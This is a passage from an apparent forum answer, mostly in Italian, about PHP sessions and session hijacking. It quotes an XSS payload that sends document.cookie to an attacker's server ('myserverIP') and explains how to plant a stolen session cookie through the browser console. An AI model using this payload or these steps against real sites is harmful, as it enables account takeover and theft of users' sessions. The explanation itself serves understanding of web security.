...php writes the cookie into a file. (I think that is one of the
normal processes).
Da quanto hai scritto sopra, sembra che ci possa essere un equivoco sulla tua comprensione di come una sessione viene creata e gestita su un sito web. Quando un utente accede a un sito Web, viene generato un ID di sessione e questo ID è memorizzato in un cookie speciale, noto come cookie di sessione, sul browser del client, in questo modo:
PHPSESSID:fgws4j52jcm10dkgw02nd2
Allo stesso tempo, viene creato un file di sessione (o una riga di database) con lo stesso id contenente variabili (come nome utente, tempo di accesso) relative a quel particolare utente. Queste variabili di sessione vengono memorizzate sul lato server e richiamate dall'array superglobal $_SESSION
all'avvio di una sessione.
Per dirottare una sessione, quello di cui hai bisogno è un cookie contenente la coppia nome-valore come quella sopra. Una precondizione è che la vittima deve essere registrata durante l'attacco in modo tale che il file di sessione con l'id rubato sia ancora fresco sul server. Inoltre, il sito Web non deve eseguire altri controlli estranei (come user agent o indirizzo IP) per contrastare i dirottatori.
<script>location.href = 'http://myserverIP/test/signup.php?cookie='+document.cookie;</script>
Il javascript che hai scritto sopra inietta semplicemente una coppia nome-valore nella matrice superglobale $_GET
. Quello che vuoi è trasmettere la coppia nome-valore usando il tuo cookie del browser, certamente non con l'URL.
La maggior parte dei browser moderni memorizza le informazioni sui cookie in un database come sqlite. Per modificare un cookie, è necessario accedere alla console Web o alla barra degli strumenti dello sviluppatore che è coperta qui per Chrome e here per Firefox .